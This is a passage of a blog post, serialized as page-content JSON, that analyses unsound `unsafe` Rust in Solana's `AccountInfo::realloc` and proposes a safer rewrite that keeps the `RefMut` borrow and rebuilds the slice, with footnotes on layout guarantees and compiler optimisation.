u32",{"type":23,"tag":481,"props":15044,"children":15045},{"style":525},[15046],{"type":28,"value":528},{"type":23,"tag":481,"props":15048,"children":15049},{"class":483,"line":873},[15050,15055,15060,15064],{"type":23,"tag":481,"props":15051,"children":15052},{"style":514},[15053],{"type":28,"value":15054}," *",{"type":23,"tag":481,"props":15056,"children":15057},{"style":508},[15058],{"type":28,"value":15059},"original_data_len_ptr",{"type":23,"tag":481,"props":15061,"children":15062},{"style":497},[15063],{"type":28,"value":6308},{"type":23,"tag":481,"props":15065,"children":15066},{"style":943},[15067],{"type":28,"value":14466},{"type":23,"tag":481,"props":15069,"children":15070},{"class":483,"line":1125},[15071],{"type":23,"tag":481,"props":15072,"children":15073},{"style":525},[15074],{"type":28,"value":1443},{"type":23,"tag":24,"props":15076,"children":15077},{},[15078,15080,15085,15087,15092,15094,15099,15101,15106,15108,15115,15117,15124,15125,15132,15133,15140,15141,15148],{"type":28,"value":15079},"It's marked ",{"type":23,"tag":64,"props":15081,"children":15083},{"className":15082},[],[15084],{"type":28,"value":11844},{"type":28,"value":15086},", properly documented, but there's just one problem: we need this for ",{"type":23,"tag":64,"props":15088,"children":15090},{"className":15089},[],[15091],{"type":28,"value":11126},{"type":28,"value":15093},", which originally was not ",{"type":23,"tag":64,"props":15095,"children":15097},{"className":15096},[],[15098],{"type":28,"value":11844},{"type":28,"value":15100},". So, in the name of not breaking API compatibility, the Solana team just threw the call in an ",{"type":23,"tag":64,"props":15102,"children":15104},{"className":15103},[],[15105],{"type":28,"value":11844},{"type":28,"value":15107}," block and added ",{"type":23,"tag":190,"props":15109,"children":15112},{"href":15110,"rel":15111},"https://docs.rs/solana-program/1.10.30/solana_program/account_info/struct.AccountInfo.html#safety-1",[194],[15113],{"type":28,"value":15114},"a doc comment",{"type":28,"value":15116}," - adding to the ",{"type":23,"tag":190,"props":15118,"children":15121},{"href":15119,"rel":15120},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[194],[15122],{"type":28,"value":15123},"small",{"type":28,"value":3935},{"type":23,"tag":190,"props":15126,"children":15129},{"href":15127,"rel":15128},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[194],[15130],{"type":28,"value":15131},"pile",{"type":28,"value":3935},{"type":23,"tag":190,"props":15134,"children":15137},{"href":15135,"rel":15136},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[194],[15138],{"type":28,"value":15139},"of",{"type":28,"value":3935},{"type":23,"tag":190,"props":15142,"children":15145},{"href":15143,"rel":15144},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[194],[15146],{"type":28,"value":15147},"functions",{"type":28,"value":15149}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":23,"tag":31,"props":15151,"children":15153},{"id":15152},"towards-safer-unsafe",[15154,15156],{"type":28,"value":15155},"Towards safer ",{"type":23,"tag":64,"props":15157,"children":15159},{"className":15158},[],[15160],{"type":28,"value":11844},{"type":23,"tag":24,"props":15162,"children":15163},{},[15164,15166,15171,15173,15178,15180,15187],{"type":28,"value":15165},"Let's circle back to that main ",{"type":23,"tag":64,"props":15167,"children":15169},{"className":15168},[],[15170],{"type":28,"value":11844},{"type":28,"value":15172}," block inside ",{"type":23,"tag":64,"props":15174,"children":15176},{"className":15175},[],[15177],{"type":28,"value":11126},{"type":28,"value":15179}," for a bit, shall we? As a reminder, it looks like ",{"type":23,"tag":190,"props":15181,"children":15184},{"href":15182,"rel":15183},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[194],[15185],{"type":28,"value":15186},"this",{"type":28,"value":287},{"type":23,"tag":435,"props":15189,"children":15191},{"className":475,"code":15190,"language":474,"meta":7,"style":7},"// realloc\nunsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n}\n",[15192],{"type":23,"tag":64,"props":15193,"children":15194},{"__ignoreMap":7},[15195,15203,15214,15222,15309,15340,15347,15355,15482,15513],{"type":23,"tag":481,"props":15196,"children":15197},{"class":483,"line":484},[15198],{"type":23,"tag":481,"props":15199,"children":15200},{"style":488},[15201],{"type":28,"value":15202},"// realloc\n",{"type":23,"tag":481,"props":15204,"children":15205},{"class":483,"line":351},[15206,15210],{"type":23,"tag":481,"props":15207,"children":15208},{"style":497},[15209],{"type":28,"value":11844},{"type":23,"tag":481,"props":15211,"children":15212},{"style":525},[15213],{"type":28,"value":809},{"type":23,"tag":481,"props":15215,"children":15216},{"class":483,"line":531},[15217],{"type":23,"tag":481,"props":15218,"children":15219},{"style":488},[15220],{"type":28,"value":15221}," // First set new length in the serialized data\n",{"type":23,"tag":481,"props":15223,"children":15224},{"class":483,"line":567},[15225,15229,15233,15237,15241,15245,15249,15253,15257,15261,15265,15269,15273,15277,15281,15285,15289,15293,15297,15301,15305],{"type":23,"tag":481,"props":15226,"children":15227},{"style":497},[15228],{"type":28,"value":500},{"type":23,"tag":481,"props":15230,"children":15231},{"style":508},[15232],{"type":28,"value":11345},{"type":23,"tag":481,"props":15234,"children":15235},{"style":514},[15236],{"type":28,"value":517},{"type":23,"tag":481,"props":15238,"children":15239},{"style":497},[15240],{"type":28,"value":11285},{"type":23,"tag":481,"props":15242,"children":15243},{"style":514},[15244],{"type":28,"value":199},{"type":23,"tag":481,"props":15246,"children":15247},{"style":610},[15248],{"type":28,"value":11362},{"type":23,"tag":481,"props":15250,"children":15251},{"style":525},[15252],{"type":28,"value":11367},{"type":23,"tag":481,"props":15254,"children":15255},{"style":514},[15256],{"type":28,"value":647},{"type":23,"tag":481,"props":15258,"children":15259},{"style":610},[15260],{"type":28,"value":11376},{"type":23,"tag":481,"props":15262,"children":15263},{"style":525},[15264],{"type":28,"value":11367},{"type":23,"tag":481,"props":15266,"children":15267},{"style":514},[15268],{"type":28,"value":199},{"type":23,"tag":481,"props":15270,"children":15271},{"style":610},[15272],{"type":28,"value":11389},{"type":23,"tag":481,"props":15274,"children":15275},{"style":525},[15276],{"type":28,"value":618},{"type":23,"tag":481,"props":15278,"children":15279},{"style":514},[15280],{"type":28,"value":1876},{"type":23,"tag":481,"props":15282,"children":15283},{"style":551},[15284],{"type":28,"value":1622},{"type":23,"tag":481,"props":15286,"children":15287},{"style":525},[15288],{"type":28,"value":598},{"type":23,"tag":481,"props":15290,"children":15291},{"style":497},[15292],{"type":28,"value":6322},{"type":23,"tag":481,"props":15294,"children":15295},{"style":514},[15296],{"type":28,"value":7301},{"type":23,"tag":481,"props":15298,"children":15299},{"style":497},[15300],{"type":28,"value":1259},{"type":23,"tag":481,"props":15302,"children":15303},{"style":943},[15304],{"type":28,"value":3336},{"type":23,"tag":481,"props":15306,"children":15307},{"style":525},[15308],{"type":28,"value":528},{"type":23,"tag":481,"props":15310,"children":15311},{"class":483,"line":678},[15312,15316,15320,15324,15328,15332,15336],{"type":23,"tag":481,"props":15313,"children":15314},{"style":514},[15315],{"type":28,"value":15054},{"type":23,"tag":481,"props":15317,"children":15318},{"style":508},[15319],{"type":28,"value":11437},{"type":23,"tag":481,"props":15321,"children":15322},{"style":514},[15323],{"type":28,"value":517},{"type":23,"tag":481,"props":15325,"children":15326},{"style":508},[15327],{"type":28,"value":11446},{"type":23,"tag":481,"props":15329,"children":15330},{"style":497},[15331],{"type":28,"value":6308},{"type":23,"tag":481,"props":15333,"children":15334},{"style":943},[15335],{"type":28,"value":3336},{"type":23,"tag":481,"props":15337,"children":15338},{"style":525},[15339],{"type":28,"value":528},{"type":23,"tag":481,"props":15341,"children":15342},{"class":483,"line":784},[15343],{"type":23,"tag":481,"props":15344,"children":15345},{"emptyLinePlaceholder":15},[15346],{"type":28,"value":1210},{"type":23,"tag":481,"props":15348,"children":15349},{"class":483,"line":812},[15350],{"type":23,"tag":481,"props":15351,"children":15352},{"style":488},[15353],{"type":28,"value":15354}," // Then set the new length in the local slice\n",{"type":23,"tag":481,"props":15356,"children":15357},{"class":483,"line":825},[15358,15362,15366,15370,15374,15378,15382,15386,15390,15394,15398,15402,15406,15410,15414,15418,15422,15426,15430,15434,15438,15442,15446,15450,15454,15458,15462,15466,15470,15474,15478],{"type":23,"tag":481,"props":15359,"children":15360},{"style":497},[15361],{"type":28,"value":500},{"type":23,"tag":481,"props":15363,"children":15364},{"style":508},[15365],{"type":28,"value":11345},{"type":23,"tag":481,"props":15367,"children":15368},{"style":514},[15369],{"type":28,"value":517},{"type":23,"tag":481,"props":15371,"children":15372},{"style":514},[15373],{"type":28,"value":4619},{"type":23,"tag":481,"props":15375,"children":15376},{"style":497},[15377],{"type":28,"value":1259},{"type":23,"tag":481,"props":15379,"children":15380},{"style":514},[15381],{"type":28,"value":7301},{"type":23,"tag":481,"props":15383,"children":15384},{"style":525},[15385],{"type":28,"value":11505},{"type":23,"tag":481,"props":15387,"children":15388},{"style":497},[15389],{"type":28,"value":11201},{"type":23,"tag":481,"props":15391,"children":15392},{"style":514},[15393],{"type":28,"value":199},{"type":23,"tag":481,"props":15395,"children":15396},{"style":525},[15397],{"type":28,"value":1237},{"type":23,"tag":481,"props":15399,"children":15400},{"style":514},[15401],{"type":28,"value":199},{"type":23,"tag":481,"props":15403,"children":15404},{"style":610},[15405],{"type":28,"value":11526},{"type":23,"tag":481,"props":15407,"children":15408},{"style":525},[15409],{"type":28,"value":11531},{"type":23,"tag":481,"props":15411,"children":15412},{"style":497},[15413],{"type":28,"value":6322},{"type":23,"tag":481,"props":15415,"children":15416},{"style":514},[15417],{"type":28,"value":7301},{"type":23,"tag":481,"props":15419,"children":15420},{"style":497},[15421],{"type":28,"value":7139},{"type":23,"tag":481,"props":15423,"children":15424},{"style":943},[15425],{"type":28,"value":3336},{"type":23,"tag":481,"props":15427,"children":15428},{"style":525},[15429],{"type":28,"value":642},{"type":23,"tag":481,"props":15431,"children":15432},{"style":514},[15433],{"type":28,"value":199},{"type":23,"tag":481,"props":15435,"children":15436},{"style":610},[15437],{"type":28,"value":11389},{"type":23,"tag":481,"props":15439,"children":15440},{"style":525},[15441],{"type":28,"value":618},{"type":23,"tag":481,"props":15443,"children":15444},{"style":551},[15445],{"type":28,"value":1558},{"type":23,"tag":481,"props":15447,"children":15448},{"style":525},[15449],{"type":28,"value":598},{"type":23,"tag":481,"props":15451,"children":15452},{"style":497},[15453],{"type":28,"value":6322},{"type":23,"tag":481,"props":15455,"children":15456},{"style":943},[15457],{"type":28,"value":3336},{"type":23,"tag":481,"props":15459,"children":15460},{"style":525},[15461],{"type":28,"value":598},{"type":23,"tag":481,"props":15463,"children":15464},{"style":497},[15465],{"type":28,"value":6322},{"type":23,"tag":481,"props":15467,"children":15468},{"style":514},[15469],{"type":28,"value":7301},{"type":23,"tag":481,"props":15471,"children":15472},{"style":497},[15473],{"type":28,"value":1259},{"type":23,"tag":481,"props":15475,"children":15476},{"style":943},[15477],{"type":28,"value":3336},{"type":23,"tag":481,"props":15479,"children":15480},{"style":525},[15481],{"type":28,"value":1366},{"type":23,"tag":481,"props":15483,"children":15484},{"class":483,"line":843},[15485,15489,15493,15497,15501,15505,15509],{"type":23,"tag":481,"props":15486,"children":15487},{"style":514},[15488],{"type":28,"value":15054},{"type":23,"tag":481,"props":15490,"children":15491},{"style":508},[15492],{"type":28,"value":11437},{"type":23,"tag":481,"props":15494,"children":15495},{"style":514},[15496],{"type":28,"value":517},{"type":23,"tag":481,"props":15498,"children":15499},{"style":508},[15500],{"type":28,"value":11446},{"type":23,"tag":481,"props":15502,"children":15503},{"style":497},[15504],{"type":28,"value":6308},{"type":23,"tag":481,"props":15506,"children":15507},{"style":943},[15508],{"type":28,"value":3336},{"type":23,"tag":481,"props":15510,"children":15511},{"style":525},[15512],{"type":28,"value":528},{"type":23,"tag":481,"props":15514,"children":15515},{"class":483,"line":864},[15516],{"type":23,"tag":481,"props":15517,"children":15518},{"style":525},[15519],{"type":28,"value":1443},{"type":23,"tag":24,"props":15521,"children":15522},{},[15523,15525,15530],{"type":28,"value":15524},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":23,"tag":64,"props":15526,"children":15528},{"className":15527},[],[15529],{"type":28,"value":12993},{"type":28,"value":15531}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":23,"tag":24,"props":15533,"children":15534},{},[15535,15537,15542,15544,15549,15551,15556,15558,15563,15565,15570,15572,15578,15580,15590,15592,15603],{"type":28,"value":15536},"First, let's deal with the ",{"type":23,"tag":64,"props":15538,"children":15540},{"className":15539},[],[15541],{"type":28,"value":12993},{"type":28,"value":15543}," borrowing issue. When we ",{"type":23,"tag":64,"props":15545,"children":15547},{"className":15546},[],[15548],{"type":28,"value":11362},{"type":28,"value":15550},", we get a ",{"type":23,"tag":64,"props":15552,"children":15554},{"className":15553},[],[15555],{"type":28,"value":14233},{"type":28,"value":15557}," back, which represents our borrow of the ",{"type":23,"tag":64,"props":15559,"children":15561},{"className":15560},[],[15562],{"type":28,"value":12993},{"type":28,"value":15564},"'s data. The fix here is simple: keep that ",{"type":23,"tag":64,"props":15566,"children":15568},{"className":15567},[],[15569],{"type":28,"value":14233},{"type":28,"value":15571}," around and use it to access the data, instead of using ",{"type":23,"tag":64,"props":15573,"children":15575},{"className":15574},[],[15576],{"type":28,"value":15577},"RefCell::as_ptr",{"type":28,"value":15579},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":23,"tag":12963,"props":15581,"children":15582},{},[15583],{"type":23,"tag":190,"props":15584,"children":15588},{"href":15585,"ariaDescribedBy":15586,"dataFootnoteRef":7,"id":15587},"#user-content-fn-rustc-llvm",[12970],"user-content-fnref-rustc-llvm",[15589],{"type":28,"value":15021},{"type":28,"value":15591}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":23,"tag":12963,"props":15593,"children":15594},{},[15595],{"type":23,"tag":190,"props":15596,"children":15600},{"href":15597,"ariaDescribedBy":15598,"dataFootnoteRef":7,"id":15599},"#user-content-fn-godbolt",[12970],"user-content-fnref-godbolt",[15601],{"type":28,"value":15602},"5",{"type":28,"value":15604},". So then we get:",{"type":23,"tag":435,"props":15606,"children":15608},{"className":475,"code":15607,"language":474,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[15609],{"type":23,"tag":64,"props":15610,"children":15611},{"__ignoreMap":7},[15612,15656,15663,15670,15754,15794,15801,15808],{"type":23,"tag":481,"props":15613,"children":15614},{"class":483,"line":484},[15615,15619,15623,15628,15632,15636,15640,15644,15648,15652],{"type":23,"tag":481,"props":15616,"children":15617},{"style":497},[15618],{"type":28,"value":9274},{"type":23,"tag":481,"props":15620,"children":15621},{"style":497},[15622],{"type":28,"value":505},{"type":23,"tag":481,"props":15624,"children":15625},{"style":508},[15626],{"type":28,"value":15627}," slice",{"type":23,"tag":481,"props":15629,"children":15630},{"style":514},[15631],{"type":28,"value":517},{"type":23,"tag":481,"props":15633,"children":15634},{"style":497},[15635],{"type":28,"value":11285},{"type":23,"tag":481,"props":15637,"children":15638},{"style":514},[15639],{"type":28,"value":199},{"type":23,"tag":481,"props":15641,"children":15642},{"style":610},[15643],{"type":28,"value":11362},{"type":23,"tag":481,"props":15645,"children":15646},{"style":525},[15647],{"type":28,"value":11367},{"type":23,"tag":481,"props":15649,"children":15650},{"style":514},[15651],{"type":28,"value":670},{"type":23,"tag":481,"props":15653,"children":15654},{"style":525},[15655],{"type":28,"value":528},{"type":23,"tag":481,"props":15657,"children":15658},{"class":483,"line":351},[15659],{"type":23,"tag":481,"props":15660,"children":15661},{"emptyLinePlaceholder":15},[15662],{"type":28,"value":1210},{"type":23,"tag":481,"props":15664,"children":15665},{"class":483,"line":531},[15666],{"type":23,"tag":481,"props":15667,"children":15668},{"style":488},[15669],{"type":28,"value":11891},{"type":23,"tag":481,"props":15671,"children":15672},{"class":483,"line":567},[15673,15677,15681,15685,15689,15693,15697,15701,15705,15709,15713,15717,15721,15725,15729,15734,15738,15742,15746,15750],{"type":23,"tag":481,"props":15674,"children":15675},{"style":497},[15676],{"type":28,"value":9274},{"type":23,"tag":481,"props":15678,"children":15679},{"style":508},[15680],{"type":28,"value":11345},{"type":23,"tag":481,"props":15682,"children":15683},{"style":514},[15684],{"type":28,"value":517},{"type":23,"tag":481,"props":15686,"children":15687},{"style":497},[15688],{"type":28,"value":12078},{"type":23,"tag":481,"props":15690,"children":15691},{"style":525},[15692],{"type":28,"value":7069},{"type":23,"tag":481,"props":15694,"children":15695},{"style":508},[15696],{"type":28,"value":12802},{"type":23,"tag":481,"props":15698,"children":15699},{"style":514},[15700],{"type":28,"value":199},{"type":23,"tag":481,"props":15702,"children":15703},{"style":610},[15704],{"type":28,"value":11376},{"type":23,"tag":481,"props":15706,"children":15707},{"style":525},[15708],{"type":28,"value":11367},{"type":23,"tag":481,"props":15710,"children":15711},{"style":514},[15712],{"type":28,"value":199},{"type":23,"tag":481,"props":15714,"children":15715},{"style":610},[15716],{"type":28,"value":11389},{"type":23,"tag":481,"props":15718,"children":15719},{"style":525},[15720],{"type":28,"value":618},{"type":23,"tag":481,"props":15722,"children":15723},{"style":514},[15724],{"type":28,"value":1876},{"type":23,"tag":481,"props":15726,"children":15727},{"style":551},[15728],{"type":28,"value":1622},{"type":23,"tag":481,"props":15730,"children":15731},{"style":525},[15732],{"type":28,"value":15733},") } ",{"type":23,"tag":481,"props":15735,"children":15736},{"style":497},[15737],{"type":28,"value":6322},{"type":23,"tag":481,"props":15739,"children":15740},{"style":514},[15741],{"type":28,"value":7301},{"type":23,"tag":481,"props":15743,"children":15744},{"style":497},[15745],{"type":28,"value":1259},{"type":23,"tag":481,"props":15747,"children":15748},{"style":943},[15749],{"type":28,"value":3336},{"type":23,"tag":481,"props":15751,"children":15752},{"style":525},[15753],{"type":28,"value":528},{"type":23,"tag":481,"props":15755,"children":15756},{"class":483,"line":678},[15757,15761,15765,15769,15773,15777,15781,15785,15789],{"type":23,"tag":481,"props":15758,"children":15759},{"style":497},[15760],{"type":28,"value":11844},{"type":23,"tag":481,"props":15762,"children":15763},{"style":525},[15764],{"type":28,"value":7069},{"type":23,"tag":481,"props":15766,"children":15767},{"style":514},[15768],{"type":28,"value":2120},{"type":23,"tag":481,"props":15770,"children":15771},{"style":508},[15772],{"type":28,"value":11437},{"type":23,"tag":481,"props":15774,"children":15775},{"style":514},[15776],{"type":28,"value":517},{"type":23,"tag":481,"props":15778,"children":15779},{"style":508},[15780],{"type":28,"value":11446},{"type":23,"tag":481,"props":15782,"children":15783},{"style":497},[15784],{"type":28,"value":6308},{"type":23,"tag":481,"props":15786,"children":15787},{"style":943},[15788],{"type":28,"value":3336},{"type":23,"tag":481,"props":15790,"children":15791},{"style":525},[15792],{"type":28,"value":15793}," };\n",{"type":23,"tag":481,"props":15795,"children":15796},{"class":483,"line":784},[15797],{"type":23,"tag":481,"props":15798,"children":15799},{"emptyLinePlaceholder":15},[15800],{"type":28,"value":1210},{"type":23,"tag":481,"props":15802,"children":15803},{"class":483,"line":812},[15804],{"type":23,"tag":481,"props":15805,"children":15806},{"style":488},[15807],{"type":28,"value":13630},{"type":23,"tag":481,"props":15809,"children":15810},{"class":483,"line":825},[15811,15815,15819,15823,15827,15832,15836,15840,15844,15849,15853,15857,15861,15865,15870,15874],{"type":23,"tag":481,"props":15812,"children":15813},{"style":514},[15814],{"type":28,"value":2120},{"type":23,"tag":481,"props":15816,"children":15817},{"style":508},[15818],{"type":28,"value":12802},{"type":23,"tag":481,"props":15820,"children":15821},{"style":514},[15822],{"type":28,"value":517},{"type":23,"tag":481,"props":15824,"children":15825},{"style":497},[15826],{"type":28,"value":12078},{"type":23,"tag":481,"props":15828,"children":15829},{"style":525},[15830],{"type":28,"value":15831}," { std",{"type":23,"tag":481,"props":15833,"children":15834},{"style":514},[15835],{"type":28,"value":1006},{"type":23,"tag":481,"props":15837,"children":15838},{"style":525},[15839],{"type":28,"value":12802},{"type":23,"tag":481,"props":15841,"children":15842},{"style":514},[15843],{"type":28,"value":1006},{"type":23,"tag":481,"props":15845,"children":15846},{"style":610},[15847],{"type":28,"value":15848},"from_raw_parts_mut",{"type":23,"tag":481,"props":15850,"children":15851},{"style":525},[15852],{"type":28,"value":618},{"type":23,"tag":481,"props":15854,"children":15855},{"style":508},[15856],{"type":28,"value":12802},{"type":23,"tag":481,"props":15858,"children":15859},{"style":514},[15860],{"type":28,"value":199},{"type":23,"tag":481,"props":15862,"children":15863},{"style":610},[15864],{"type":28,"value":11376},{"type":23,"tag":481,"props":15866,"children":15867},{"style":525},[15868],{"type":28,"value":15869},"(), ",{"type":23,"tag":481,"props":15871,"children":15872},{"style":508},[15873],{"type":28,"value":11210},{"type":23,"tag":481,"props":15875,"children":15876},{"style":525},[15877],{"type":28,"value":12233},{"type":23,"tag":24,"props":15879,"children":15880},{},[15881,15883,15888,15890,15895,15897,15902,15904],{"type":28,"value":15882},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":23,"tag":64,"props":15884,"children":15886},{"className":15885},[],[15887],{"type":28,"value":5521},{"type":28,"value":15889}," and not a ",{"type":23,"tag":64,"props":15891,"children":15893},{"className":15892},[],[15894],{"type":28,"value":14092},{"type":28,"value":15896}," for the size field, given that ",{"type":23,"tag":64,"props":15898,"children":15900},{"className":15899},[],[15901],{"type":28,"value":14092},{"type":28,"value":15903}," is architecture-dependent), and no dependency on slice reference internals!",{"type":23,"tag":12963,"props":15905,"children":15906},{},[15907],{"type":23,"tag":190,"props":15908,"children":15912},{"href":15909,"ariaDescribedBy":15910,"dataFootnoteRef":7,"id":15911},"#user-content-fn-slice-unbound-lifetime",[12970],"user-content-fnref-slice-unbound-lifetime",[15913],{"type":28,"value":15914},"6",{"type":23,"tag":15916,"props":15917,"children":15920},"section",{"className":15918,"dataFootnotes":7},[15919],"footnotes",[15921,15928],{"type":23,"tag":31,"props":15922,"children":15925},{"className":15923,"id":12970},[15924],"sr-only",[15926],{"type":28,"value":15927},"Footnotes",{"type":23,"tag":73,"props":15929,"children":15930},{},[15931,16036,16054,16109,16122,16150],{"type":23,"tag":77,"props":15932,"children":15934},{"id":15933},"user-content-fn-rc-refs",[15935,15937,15943,15945,15950,15952,15956,15958,15962,15964,15969,15971,15977,15979,15984,15986,15996,15998,16003,16005,16010,16012,16017,16019,16025,16027],{"type":28,"value":15936},"I find it helpful to view owning an ",{"type":23,"tag":64,"props":15938,"children":15940},{"className":15939},[],[15941],{"type":28,"value":15942},"Rc\u003CT>",{"type":28,"value":15944}," as holding a shared reference to the underlying ",{"type":23,"tag":64,"props":15946,"children":15948},{"className":15947},[],[15949],{"type":28,"value":3464},{"type":28,"value":15951}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":23,"tag":127,"props":15953,"children":15954},{},[15955],{"type":28,"value":13948},{"type":28,"value":15957}," ensures that the actual ",{"type":23,"tag":127,"props":15959,"children":15960},{},[15961],{"type":28,"value":1237},{"type":28,"value":15963}," stays alive, however all you have is a reference to the ",{"type":23,"tag":64,"props":15965,"children":15967},{"className":15966},[],[15968],{"type":28,"value":3464},{"type":28,"value":15970}," (through the ",{"type":23,"tag":64,"props":15972,"children":15974},{"className":15973},[],[15975],{"type":28,"value":15976},"Deref\u003CTarget = T>",{"type":28,"value":15978}," impl) - ",{"type":23,"tag":127,"props":15980,"children":15981},{},[15982],{"type":28,"value":15983},"not",{"type":28,"value":15985}," ownership ",{"type":23,"tag":127,"props":15987,"children":15988},{},[15989,15991],{"type":28,"value":15990},"of the ",{"type":23,"tag":64,"props":15992,"children":15994},{"className":15993},[],[15995],{"type":28,"value":3464},{"type":28,"value":15997},". In short, owning an ",{"type":23,"tag":64,"props":15999,"children":16001},{"className":16000},[],[16002],{"type":28,"value":15942},{"type":28,"value":16004}," is owning a (shared, read-only) reference to ",{"type":23,"tag":64,"props":16006,"children":16008},{"className":16007},[],[16009],{"type":28,"value":3464},{"type":28,"value":16011},", not owning ",{"type":23,"tag":64,"props":16013,"children":16015},{"className":16014},[],[16016],{"type":28,"value":3464},{"type":28,"value":16018}," directly like with ",{"type":23,"tag":64,"props":16020,"children":16022},{"className":16021},[],[16023],{"type":28,"value":16024},"Box\u003CT>",{"type":28,"value":16026},". ",{"type":23,"tag":190,"props":16028,"children":16033},{"href":16029,"ariaLabel":16030,"className":16031,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[16032],"data-footnote-backref",[16034],{"type":28,"value":16035},"↩",{"type":23,"tag":77,"props":16037,"children":16039},{"id":16038},"user-content-fn-sendsync",[16040,16046,16047],{"type":23,"tag":64,"props":16041,"children":16043},{"className":16042},[],[16044],{"type":28,"value":16045},"!Send + !Sync",{"type":28,"value":3935},{"type":23,"tag":190,"props":16048,"children":16052},{"href":16049,"ariaLabel":16050,"className":16051,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[16032],[16053],{"type":28,"value":16035},{"type":23,"tag":77,"props":16055,"children":16057},{"id":16056},"user-content-fn-layout",[16058,16060,16065,16066,16079,16081,16086,16088,16093,16095,16100,16102],{"type":28,"value":16059},"Note that this is a terrible idea for yet another reason: ",{"type":23,"tag":64,"props":16061,"children":16063},{"className":16062},[],[16064],{"type":28,"value":12427},{"type":28,"value":140},{"type":23,"tag":190,"props":16067,"children":16070},{"href":16068,"rel":16069},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[194],[16071,16073],{"type":28,"value":16072},"not declared with ",{"type":23,"tag":64,"props":16074,"children":16076},{"className":16075},[],[16077],{"type":28,"value":16078},"#[repr(C)]",{"type":28,"value":16080},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":23,"tag":127,"props":16082,"children":16083},{},[16084],{"type":28,"value":16085},"breaks the entire chain",{"type":28,"value":16087}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":23,"tag":127,"props":16089,"children":16090},{},[16091],{"type":28,"value":16092},"some",{"type":28,"value":16094}," kind of interface to the specific layout of the specific ",{"type":23,"tag":64,"props":16096,"children":16098},{"className":16097},[],[16099],{"type":28,"value":14000},{"type":28,"value":16101}," versions used to build on-chain code for all eternity... ",{"type":23,"tag":190,"props":16103,"children":16107},{"href":16104,"ariaLabel":16105,"className":16106,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[16032],[16108],{"type":28,"value":16035},{"type":23,"tag":77,"props":16110,"children":16112},{"id":16111},"user-content-fn-rustc-llvm",[16113,16115],{"type":28,"value":16114},"Actually, it's LLVM that does the optimization ",{"type":23,"tag":190,"props":16116,"children":16120},{"href":16117,"ariaLabel":16118,"className":16119,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[16032],[16121],{"type":28,"value":16035},{"type":23,"tag":77,"props":16123,"children":16125},{"id":16124},"user-content-fn-godbolt",[16126,16133,16135,16141,16143],{"type":23,"tag":190,"props":16127,"children":16130},{"href":16128,"rel":16129},"https://godbolt.org/z/PK46xMbxc",[194],[16131],{"type":28,"value":16132},"Click here",{"type":28,"value":16134}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":23,"tag":64,"props":16136,"children":16138},{"className":16137},[],[16139],{"type":28,"value":16140},"libcore",{"type":28,"value":16142}," available for other architectures yet. ",{"type":23,"tag":190,"props":16144,"children":16148},{"href":16145,"ariaLabel":16146,"className":16147,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[16032],[16149],{"type":28,"value":16035},{"type":23,"tag":77,"props":16151,"children":16153},{"id":16152},"user-content-fn-slice-unbound-lifetime",[16154,16156,16161,16163,16169,16171,16177,16179,16185,16187,16193,16195,16201,16203,16208,16210],{"type":28,"value":16155},"The astute reader may have noticed that ",{"type":23,"tag":64,"props":16157,"children":16159},{"className":16158},[],[16160],{"type":28,"value":15848},{"type":28,"value":16162}," still returns an unbounded lifetime (notice in the signature ",{"type":23,"tag":64,"props":16164,"children":16166},{"className":16165},[],[16167],{"type":28,"value":16168},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":28,"value":16170},", the lifetime parameter ",{"type":23,"tag":64,"props":16172,"children":16174},{"className":16173},[],[16175],{"type":28,"value":16176},"'a",{"type":28,"value":16178}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":23,"tag":64,"props":16180,"children":16182},{"className":16181},[],[16183],{"type":28,"value":16184},"*slice",{"type":28,"value":16186},", which is ",{"type":23,"tag":64,"props":16188,"children":16190},{"className":16189},[],[16191],{"type":28,"value":16192},"&'info [u8]",{"type":28,"value":16194}," (where ",{"type":23,"tag":64,"props":16196,"children":16198},{"className":16197},[],[16199],{"type":28,"value":16200},"'info",{"type":28,"value":16202}," is the lifetime parameter of the 